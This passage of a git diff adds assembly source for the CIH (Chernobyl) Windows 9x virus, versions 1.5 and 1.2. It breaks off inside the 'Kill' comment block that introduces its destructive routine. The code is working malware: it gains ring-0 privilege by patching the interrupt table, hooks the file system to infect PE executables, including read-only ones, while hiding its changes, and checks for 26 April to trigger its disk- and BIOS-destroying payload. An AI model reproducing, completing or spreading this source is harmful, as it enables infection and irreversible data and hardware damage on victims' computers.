+ xchg eax, edi + xchg edx, ebp + out dx, eax + xchg eax, edi + xchg edx, ebp + in al, dx + +BooleanCalculateCode = $ + or al, 44h + xchg eax, edi + xchg edx, ebp + out dx, eax + xchg eax, edi + xchg edx, ebp + out dx, al + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +LastVxDCallAddress = IFSMgr_Ring0_FileIO +VxDCallAddressTable db 00h + db IFSMgr_RemoveFileSystemApiHook-_PageAllocate + db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook + db IFSMgr_Ring0_FileIO-UniToBCSPath +VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h +VxDCallTableSize = ($-VxDCallIDTable)/04h + +; ********************************************************* +; * Virus Version Copyright * +; ********************************************************* + +VirusVersionCopyright db 'WinCIH ver 1.5 by TATUNG, Thailand' + +; ********************************************************* +; * Virus Size * +; ********************************************************* + +VirusSize = $ +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; * Dynamic Data * +; ********************************************************* + +VirusGameDataStartAddress = VirusSize +@6 = VirusGameDataStartAddress +OnBusy db 0 +FileModificationTime dd ? + +FileNameBuffer db FileNameBufferSize dup(?) +@7 = FileNameBuffer + +DataBuffer = $ +@8 = DataBuffer +NumberOfSections dw ? +TimeDateStamp dd ? +SymbolsPointer dd ? +NumberOfSymbols dd ? +SizeOfOptionalHeader dw ? +_Characteristics dw ? +Magic dw ? +LinkerVersion dw ? +SizeOfCode dd ? +SizeOfInitializedData dd ? +SizeOfUninitializedData dd ? +AddressOfEntryPoint dd ? +BaseOfCode dd ? +BaseOfData dd ? +ImageBase dd ? +@9 = $ +SectionAlignment dd ? +FileAlignment dd ? +OperatingSystemVersion dd ? +ImageVersion dd ? +SubsystemVersion dd ? +Reserved dd ? +SizeOfImage dd ? +SizeOfHeaders dd ? +SizeOfImageHeaderToRead = $-NumberOfSections +NewAddressOfEntryPoint = DataBuffer ; DWORD +SizeOfImageHeaderToWrite= 04h +StartOfSectionTable = @9 +SectionName = StartOfSectionTable ; QWORD +VirtualSize = StartOfSectionTable+08h ; DWORD +VirtualAddress = StartOfSectionTable+0ch ; DWORD +SizeOfRawData = StartOfSectionTable+10h ; DWORD +PointerToRawData = StartOfSectionTable+14h ; DWORD +PointerToRelocations = StartOfSectionTable+18h ; DWORD +PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD +NumberOfRelocations = StartOfSectionTable+20h ; WORD +NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD +Characteristics = StartOfSectionTable+24h ; DWORD +SizeOfScetionTable = Characteristics+04h-SectionName + +; ********************************************************* +; * Virus Total Need Memory * +; ********************************************************* + +VirusNeedBaseMemory = $ +VirusTotalNeedMemory = @9 +; + NumberOfSections(??)*SizeOfScetionTable(28h) +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) +; ********************************************************* + +VirusGame ENDS + END FileHeader diff --git a/c/cih_12.asm b/c/cih_12.asm new file mode 100755 index 0000000..044ca02 --- /dev/null +++ b/c/cih_12.asm @@ -0,0 +1,1480 @@ +; **************************************************************************** +; * The Virus Program Information * +; **************************************************************************** +; * * +; * Designer : CIH Original Place : TTIT of Taiwan * +; * Create Date : 04/26/1998 Now Version : 1.2 * +; * Modification Time : 05/21/1998 * +; * * +; *==========================================================================* +; * Modification History * +; *==========================================================================* +; * v1.0 1. Create the Virus Program. * +; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * +; * 04/26/1998 3. Virus Code doesn't Reload into System. * +; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * +; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * +; * 6. When System Opens Existing PE File, the File will be * +; * Infected, and the File doesn't be Reinfected. * +; * 7. It is also Infected, even the File is Read-Only. * +; * 8. When the File is Infected, the Modification Date and Time * +; * of the File also don't be Changed. * +; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * +; * Previous FileSystemApiHook, it will Call the Function * +; * that the IFS Manager Would Normally Call to Implement * +; * this Particular I/O Request. * +; * 10. The Virus Size is only 656 Bytes. * +; *==========================================================================* +; * v1.1 1. Especially, the File that be Infected will not Increase * +; * it's Size... ^__^ * +; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * +; * When Exception Error Occurs, Our OS System should be in * +; * Windows NT. So My Cute Virus will not Continue to Run, * +; * it will Jmup to Original Application to Run. * +; * 3. Use Better Algorithm, Reduce Virus Code Size. * +; * 4. The Virus "Basic" Size is only 796 Bytes. * +; *==========================================================================* +; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * +; * 2. Modify the Bug of v1.1 * +; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * +; **************************************************************************** + + .586P + +; **************************************************************************** +; * Original PE Executable File(Don't Modify this Section) * +; **************************************************************************** + +OriginalAppEXE SEGMENT + +FileHeader: + db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h + db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h + db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh + db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h + db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h + db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh + db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh + db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h + db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah + db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h + db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h + db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + dd 00000000h, VirusSize + +OriginalAppEXE ENDS + +; **************************************************************************** +; * My Virus Game * +; **************************************************************************** + +; ********************************************************* +; * Constant Define * +; ********************************************************* + +TRUE = 1 +FALSE = 0 + +DEBUG = TRUE + +MajorVirusVersion = 1 +MinorVirusVersion = 2 + +VirusVersion = MajorVirusVersion*10h+MinorVirusVersion + + +IF DEBUG + + FirstKillHardDiskNumber = 81h + HookExceptionNumber = 05h + +ELSE + + FirstKillHardDiskNumber = 80h + HookExceptionNumber = 03h + +ENDIF + + +FileNameBufferSize = 7fh + +; ********************************************************* +; ********************************************************* + +VirusGame SEGMENT + + ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame + ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame + +; ********************************************************* +; * Ring3 Virus Game Initial Program * +; ********************************************************* + +MyVirusStart: + push ebp + +; ************************************* +; * Let's Modify Structured Exception * +; * Handing, Prevent Exception Error * +; * Occurrence, Especially in NT. * +; ************************************* + + lea eax, [esp-04h*2] + + xor ebx, ebx + xchg eax, fs:[ebx] + + call @0 +@0: + pop ebx + + lea ecx, StopToRunVirusCode-@0[ebx] + push ecx + + push eax + +; ************************************* +; * Let's Modify * +; * IDT(Interrupt Descriptor Table) * +; * to Get Ring0 Privilege... * +; ************************************* + + push eax ; + sidt [esp-02h] ; Get IDT Base Address + pop ebx ; + + add ebx, HookExceptionNumber*08h+04h ; ZF = 0 + + cli + + mov ebp, [ebx] ; Get Exception Base + mov bp, [ebx-04h] ; Entry Point + + lea esi, MyExceptionHook-@1[ecx] + + push esi + + mov [ebx-04h], si ; + shr esi, 16 ; Modify Exception + mov [ebx+02h], si ; Entry Point Address + + pop esi + +; ************************************* +; * Generate Exception to Get Ring0 * +; ************************************* + + int HookExceptionNumber ; GenerateException +ReturnAddressOfEndException = $ + +; ************************************* +; * Merge All Virus Code Section * +; ************************************* + + push esi + mov esi, eax + +LoopOfMergeAllVirusCodeSection: + + mov ecx, [eax-04h] + + rep movsb + + sub eax, 08h + + mov esi, [eax] + + or esi, esi + jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 + + jmp LoopOfMergeAllVirusCodeSection + +QuitLoopOfMergeAllVirusCodeSection: + + pop esi + +; ************************************* +; * Generate Exception Again * +; ************************************* + + int HookExceptionNumber ; GenerateException Again + +; ************************************* +; * Let's Restore * +; * Structured Exception Handing * +; ************************************* + +ReadyRestoreSE: + sti + + xor ebx, ebx + + jmp RestoreSE + +; ************************************* +; * When Exception Error Occurs, * +; * Our OS System should be in NT. * +; * So My Cute Virus will not * +; * Continue to Run, it Jmups to * +; * Original Application to Run. * +; ************************************* + +StopToRunVirusCode: +@1 = StopToRunVirusCode + + xor ebx, ebx + mov eax, fs:[ebx] + mov esp, [eax] + +RestoreSE: + pop dword ptr fs:[ebx] + pop eax + +; ************************************* +; * Return Original App to Execute * +; ************************************* + + pop ebp + + push 00401000h ; Push Original +OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack + + ret ; Return to Original App Entry Point + +; ********************************************************* +; * Ring0 Virus Game Initial Program * +; ********************************************************* + +MyExceptionHook: +@2 = MyExceptionHook + + jz InstallMyFileSystemApiHook + +; ************************************* +; * Do My Virus Exist in System !? * +; ************************************* + + mov ecx, dr0 + jecxz AllocateSystemMemoryPage + + add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException + +; ************************************* +; * Return to Ring3 Initial Program * +; ************************************* + +ExitRing0Init: + mov [ebx-04h], bp ; + shr ebp, 16 ; Restore Exception + mov [ebx+02h], bp ; + + iretd + +; ************************************* +; * Allocate SystemMemory Page to Use * +; ************************************* + +AllocateSystemMemoryPage: + + mov dr0, ebx ; Set the Mark of My Virus Exist in System + + push 00000000fh ; + push ecx ; + push 0ffffffffh ; + push ecx ; + push ecx ; + push ecx ; + push 000000001h ; + push 000000002h ; + int 20h ; VMMCALL _PageAllocate +_PageAllocate = $ ; + dd 00010053h ; Use EAX, ECX, EDX, and flags + add esp, 08h*04h + + xchg edi, eax ; EDI = SystemMemory Start Address + + lea eax, MyVirusStart-@2[esi] + + iretd ; Return to Ring3 Initial Program + +; ************************************* +; * Install My File System Api Hook * +; ************************************* + +InstallMyFileSystemApiHook: + + lea eax, FileSystemApiHook-@6[edi] + + push eax ; + int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook +IFSMgr_InstallFileSystemApiHook = $ ; + dd 00400067h ; Use EAX, ECX, EDX, and flags + + mov dr0, eax ; Save OldFileSystemApiHook Address + + pop eax ; EAX = FileSystemApiHook Address + + ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point + mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] + mov edx, [ecx] + mov OldInstallFileSystemApiHook-@3[eax], edx + + ; Modify IFSMgr_InstallFileSystemApiHook Entry Point + lea eax, InstallFileSystemApiHook-@3[eax] + mov [ecx], eax + + cli + + jmp ExitRing0Init + +; ********************************************************* +; * Code Size of Merge Virus Code Section * +; ********************************************************* + +CodeSizeOfMergeVirusCodeSection = offset $ + +; ********************************************************* +; * IFSMgr_InstallFileSystemApiHook * +; ********************************************************* + +InstallFileSystemApiHook: + push ebx + + call @4 ; +@4: ; + pop ebx ; mov ebx, offset FileSystemApiHook + add ebx, FileSystemApiHook-@4 ; + + push ebx + int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook +IFSMgr_RemoveFileSystemApiHook = $ + dd 00400068h ; Use EAX, ECX, EDX, and flags + pop eax + + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link Client FileSystemApiHook + push dword ptr [esp+8] + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + + push eax + + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link My FileSystemApiHook + push ebx + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + + mov dr0, eax ; Adjust OldFileSystemApiHook Address + + pop eax + + pop ebx + + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +OldInstallFileSystemApiHook dd ? + +; ********************************************************* +; * IFSMgr_FileSystemHook * +; ********************************************************* + +; ************************************* +; * IFSMgr_FileSystemHook Entry Point * +; ************************************* + +FileSystemApiHook: +@3 = FileSystemApiHook + + pushad + + call @5 ; +@5: ; + pop esi ; mov esi, offset VirusGameDataStartAddress + add esi, VirusGameDataStartAddress-@5 + +; ************************************* +; * Is OnBusy !? * +; ************************************* + + test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) + jnz pIFSFunc ; goto pIFSFunc + +; ************************************* +; * Is OpenFile !? * +; ************************************* + + ; if ( NotOpenFile ) + ; goto prevhook + lea ebx, [esp+20h+04h+04h] + cmp dword ptr [ebx], 00000024h + jne prevhook + +; ************************************* +; * Enable OnBusy * +; ************************************* + + inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy + +; ************************************* +; * Get FilePath's DriveNumber, * +; * then Set the DriveName to * +; * FileNameBuffer. * +; ************************************* +; * Ex. If DriveNumber is 03h, * +; * DriveName is 'C:'. * +; ************************************* + + ; mov esi, offset FileNameBuffer + add esi, FileNameBuffer-@6 + + push esi + + mov al, [ebx+04h] + cmp al, 0ffh + je CallUniToBCSPath + + add al, 40h + mov ah, ':' + + mov [esi], eax + + inc esi + inc esi + +; ************************************* +; * UniToBCSPath * +; ************************************* +; * This Service Converts * +; * a Canonicalized Unicode Pathname * +; * to a Normal Pathname in the * +; * Specified BCS Character Set. * +; ************************************* + +CallUniToBCSPath: + push 00000000h + push FileNameBufferSize + mov ebx, [ebx+10h] + mov eax, [ebx+0ch] + add eax, 04h + push eax + push esi + int 20h ; VXDCall UniToBCSPath +UniToBCSPath = $ + dd 00400041h + add esp, 04h*04h + +; ************************************* +; * Is FileName '.EXE' !? * +; ************************************* + + ; cmp [esi+eax-04h], '.EXE' + cmp [esi+eax-04h], 'EXE.' + pop esi + jne DisableOnBusy + +IF DEBUG + +; ************************************* +; * Only for Debug * +; ************************************* + + ; cmp [esi+eax-06h], 'FUCK' + cmp [esi+eax-06h], 'KCUF' + jne DisableOnBusy + +ENDIF + +; ************************************* +; * Is Open Existing File !? * +; ************************************* + + ; if ( NotOpenExistingFile ) + ; goto DisableOnBusy + cmp word ptr [ebx+18h], 01h + jne DisableOnBusy + +; ************************************* +; * Get Attributes of the File * +; ************************************* + + mov ax, 4300h + int 20h ; VXDCall IFSMgr_Ring0_FileIO +IFSMgr_Ring0_FileIO = $ + dd 00400032h + + jc DisableOnBusy + + push ecx + +; ************************************* +; * Get IFSMgr_Ring0_FileIO Address * +; ************************************* + + mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] + mov edi, [edi] + +; ************************************* +; * Is Read-Only File !? * +; ************************************* + + test cl, 01h + jz OpenFile + +; ************************************* +; * Modify Read-Only File to Write * +; ************************************* + + mov ax, 4301h + xor ecx, ecx + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Open File * +; ************************************* + +OpenFile: + xor eax, eax + mov ah, 0d5h + xor ecx, ecx + xor edx, edx + inc edx + mov ebx, edx + inc ebx + call edi ; VXDCall IFSMgr_Ring0_FileIO + + xchg ebx, eax ; mov ebx, FileHandle + +; ************************************* +; * Need to Restore * +; * Attributes of the File !? * +; ************************************* + + pop ecx + + pushf + + test cl, 01h + jz IsOpenFileOK + +; ************************************* +; * Restore Attributes of the File * +; ************************************* + + mov ax, 4301h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Is Open File OK !? * +; ************************************* + +IsOpenFileOK: + popf + + jc DisableOnBusy + +; ************************************* +; * Open File Already Succeed. ^__^ * +; ************************************* + + push esi ; Push FileNameBuffer Address to Stack + + pushf ; Now CF = 0, Push Flag to Stack + + add esi, DataBuffer-@7 ; mov esi, offset DataBuffer + +; *************************** +; * Get OffsetToNewHeader * +; *************************** + + xor eax, eax + mov ah, 0d6h + + ; For Doing Minimal VirusCode's Length, + ; I Save EAX to EBP. + mov ebp, eax + + xor ecx, ecx + mov cl, 04h + xor edx, edx + mov dl, 3ch + call edi ; VXDCall IFSMgr_Ring0_FileIO + + mov edx, [esi] + +; *************************** +; * Get 'PE\0' Signature * +; * of ImageFileHeader, and * +; * Infected Mark. * +; *************************** + + dec edx + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Is PE !? * +; *************************** +; * Is the File * +; * Already Infected !? * +; *************************** + + ; cmp [esi], '\0PE\0' + cmp dword ptr [esi], 00455000h + jne CloseFile + +; ************************************* +; * The File is ^o^ * +; * PE(Portable Executable) indeed. * +; ************************************* +; * The File isn't also Infected. * +; ************************************* + +; ************************************* +; * Start to Infect the File * +; ************************************* +; * Registers Use Status Now : * +; * * +; * EAX = 04h * +; * EBX = File Handle * +; * ECX = 04h * +; * EDX = 'PE\0\0' Signature of * +; * ImageFileHeader Pointer's * +; * Former Byte. * +; * ESI = DataBuffer Address ==> @8 * +; * EDI = IFSMgr_Ring0_FileIO Address * +; * EBP = D600h ==> Read Data in File * +; ************************************* +; * Stack Dump : * +; * * +; * ESP => ------------------------- * +; * | EFLAG(CF=0) | * +; * ------------------------- * +; * | FileNameBufferPointer | * +; * ------------------------- * +; * | EDI | * +; * ------------------------- * +; * | ESI | * +; * ------------------------- * +; * | EBP | * +; * ------------------------- * +; * | ESP | * +; * ------------------------- * +; * | EBX | * +; * ------------------------- * +; * | EDX | * +; * ------------------------- * +; * | ECX | * +; * ------------------------- * +; * | EAX | * +; * ------------------------- * +; * | Return Address | * +; * ------------------------- * +; ************************************* + + push ebx ; Save File Handle + + push 00h ; Set VirusCodeSectionTableEndMark + +; *************************** +; * Let's Set the * +; * Virus' Infected Mark * +; *************************** + + push 01h ; Size + push edx ; Pointer of File + push edi ; Address of Buffer + +; *************************** +; * Save ESP Register * +; *************************** + + mov dr1, esp + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Only First Set Size ) * +; *************************** + + push eax ; Size + +; *************************** +; * Let's Read * +; * Image Header in File * +; *************************** + + mov eax, ebp + mov cl, SizeOfImageHeaderToRead + add edx, 07h ; Move EDX to NumberOfSections + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Set Pointer of File, * +; * Address of Buffer ) * +; *************************** + + lea eax, (AddressOfEntryPoint-@8)[edx] + push eax ; Pointer of File + + lea eax, (NewAddressOfEntryPoint-@8)[esi] + push eax ; Address of Buffer + +; *************************** +; * Move EDX to the Start * +; * of SectionTable in File * +; *************************** + + movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] + lea edx, [eax+edx+12h] + +; *************************** +; * Let's Get * +; * Total Size of Sections * +; *************************** + + mov al, SizeOfScetionTable + + ; I Assume NumberOfSections <= 0ffh + mov cl, (NumberOfSections-@8)[esi] + + mul cl + +; *************************** +; * Let's Set Section Table * +; *************************** + + ; Move ESI to the Start of SectionTable + lea esi, (StartOfSectionTable-@8)[esi] + + push eax ; Size + push edx ; Pointer of File + push esi ; Address of Buffer + +; *************************** +; * The Code Size of Merge * +; * Virus Code Section and * +; * Total Size of Virus * +; * Code Section Table Must * +; * be Small or Equal the * +; * Unused Space Size of * +; * Following Section Table * +; *************************** + + inc ecx + push ecx ; Save NumberOfSections+1 + + shl ecx, 03h + push ecx ; Save TotalSizeOfVirusCodeSectionTable + + add ecx, eax + add ecx, edx + + sub ecx, (SizeOfHeaders-@9)[esi] + jnc short OnlySetInfectedMark + + not ecx + inc ecx + + cmp cx, small CodeSizeOfMergeVirusCodeSection + jb OnlySetInfectedMark + +; *************************** +; * Save Original * +; * Address of Entry Point * +; *************************** + + ; Save My Virus First Section Code + ; Size of Following Section Table... + ; ( Not Include the Size of Virus Code Section Table ) + push ecx + + xchg ecx, eax ; ECX = Size of Section Table + + mov eax, (AddressOfEntryPoint-@9)[esi] + add eax, (ImageBase-@9)[esi] + mov (OriginalAddressOfEntryPoint-@9)[esi], eax + +; *************************** +; * Read All Section Tables * +; *************************** + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Let's Set Total Virus * +; * Code Section Table * +; *************************** + + ; EBX = My Virus First Section Code + ; Size of Following Section Table + pop ebx + pop edi ; EDI = TotalSizeOfVirusCodeSectionTable + pop ecx ; ECX = NumberOfSections+1 + + push edi ; Size + + add edx, eax + push edx ; Pointer of File + + add eax, esi + push eax ; Address of Buffer + +; *************************** +; * Set the First Virus * +; * Code Section Size in * +; * VirusCodeSectionTable * +; *************************** + + lea eax, [eax+edi-04h] + mov [eax], ebx + +; *************************** +; * Let's Set My Virus * +; * First Section Code * +; *************************** + + push ebx ; Size + + add edx, edi + push edx ; Pointer of File + + lea edi, (MyVirusStart-@9)[esi] + push edi ; Address of Buffer + +; *************************** +; * Let's Modify the * +; * AddressOfEntryPoint to * +; * My Virus Entry Point * +; *************************** + + mov (NewAddressOfEntryPoint-@9)[esi], edx + +; *************************** +; * Setup Initial Data * +; *************************** + + lea edx, [esi-SizeOfScetionTable] + mov ebp, offset VirusSize + + jmp StartToWriteCodeToSections + +; *************************** +; * Write Code to Sections * +; *************************** + +LoopOfWriteCodeToSections: + + add edx, SizeOfScetionTable + + mov ebx, (SizeOfRawData-@9)[edx] + sub ebx, (VirtualSize-@9)[edx] + jbe EndOfWriteCodeToSections + + push ebx ; Size + + sub eax, 08h + mov [eax], ebx + + mov ebx, (PointerToRawData-@9)[edx] + add ebx, (VirtualSize-@9)[edx] + push ebx ; Pointer of File + + push edi ; Address of Buffer + + mov ebx, (VirtualSize-@9)[edx] + add ebx, (VirtualAddress-@9)[edx] + add ebx, (ImageBase-@9)[esi] + mov [eax+4], ebx + + mov ebx, [eax] + add (VirtualSize-@9)[edx], ebx + + ; Section contains initialized data ==> 00000040h + ; Section can be Read. ==> 40000000h + or (Characteristics-@9)[edx], 40000040h + +StartToWriteCodeToSections: + + sub ebp, ebx + jbe SetVirusCodeSectionTableEndMark + + add edi, ebx ; Move Address of Buffer + +EndOfWriteCodeToSections: + + loop LoopOfWriteCodeToSections + +; *************************** +; * Only Set Infected Mark * +; *************************** + +OnlySetInfectedMark: + mov esp, dr1 + + jmp WriteVirusCodeToFile + +; *************************** +; * Set Virus Code * +; * Section Table End Mark * +; *************************** + +SetVirusCodeSectionTableEndMark: + + ; Adjust Size of Virus Section Code to Correct Value + add [eax], ebp + add [esp+08h], ebp + + ; Set End Mark + xor ebx, ebx + mov [eax-04h], ebx + +; *************************** +; * When VirusGame Calls * +; * VxDCall, VMM Modifies * +; * the 'int 20h' and the * +; * 'Service Identifier' * +; * to 'Call [XXXXXXXX]'. * +; *************************** +; * Before Writing My Virus * +; * to File, I Must Restore * +; * them First. ^__^ * +; *************************** + + lea eax, (LastVxDCallAddress-2-@9)[esi] + + mov cl, VxDCallTableSize + +LoopOfRestoreVxDCallID: + mov word ptr [eax], 20cdh + + mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] + mov [eax+2], edx + + movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] + sub eax, edx + + loop LoopOfRestoreVxDCallID + +; *************************** +; * Let's Write * +; * Virus Code to the File * +; *************************** + +WriteVirusCodeToFile: + mov eax, dr1 + mov ebx, [eax+10h] + mov edi, [eax] + +LoopOfWriteVirusCodeToFile: + + pop ecx + jecxz SetFileModificationMark + + mov esi, ecx + mov eax, 0d601h + pop edx + pop ecx + + call edi ; VXDCall IFSMgr_Ring0_FileIO + + jmp LoopOfWriteVirusCodeToFile + +; *************************** +; * Let's Set CF = 1 ==> * +; * Need to Restore File * +; * Modification Time * +; *************************** + +SetFileModificationMark: + pop ebx + pop eax + + stc ; Enable CF(Carry Flag) + pushf + +; ************************************* +; * Close File * +; ************************************* + +CloseFile: + xor eax, eax + mov ah, 0d7h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Need to Restore File Modification * +; * Time !? * +; ************************************* + + popf + pop esi + jnc IsKillComputer + +; ************************************* +; * Restore File Modification Time * +; ************************************* + + mov ebx, edi + + mov ax, 4303h + mov ecx, (FileModificationTime-@7)[esi] + mov edi, (FileModificationTime+2-@7)[esi] + call ebx ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Disable OnBusy * +; ************************************* + +DisableOnBusy: + dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy + +; ************************************* +; * Call Previous FileSystemApiHook * +; ************************************* + +prevhook: + popad + + mov eax, dr0 ; + jmp [eax] ; Jump to prevhook + +; ************************************* +; * Call the Function that the IFS * +; * Manager Would Normally Call to * +; * Implement this Particular I/O * +; * Request. * +; ************************************* + +pIFSFunc: + mov ebx, esp + push dword ptr [ebx+20h+04h+14h] ; Push pioreq + call [ebx+20h+04h] ; Call pIFSFunc + pop ecx ; + + mov [ebx+1ch], eax ; Modify EAX Value in Stack + +; *************************** +; * After Calling pIFSFunc, * +; * Get Some Data from the * +; * Returned pioreq. * +; *************************** + + cmp dword ptr [ebx+20h+04h+04h], 00000024h + jne QuitMyVirusFileSystemHook + +; ***************** +; * Get the File * +; * Modification * +; * Date and Time * +; * in DOS Format.* +; ***************** + + mov eax, [ecx+28h] + mov (FileModificationTime-@6)[esi], eax + +; *************************** +; * Quit My Virus' * +; * IFSMgr_FileSystemHook * +; *************************** + +QuitMyVirusFileSystemHook: + + popad + + ret + +; ************************************* +; * Kill Computer !? ... *^_^* * +; ************************************* + +IsKillComputer: + ; Get Now Month from BIOS CMOS + mov ax, 0708h + out 70h, al + in al, 71h + + xchg ah, al + + ; Get Now Day from BIOS CMOS + out 70h, al + in al, 71h + + xor ax, 0426h ; 04/26/???? + jne DisableOnBusy + +; ************************************** +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill 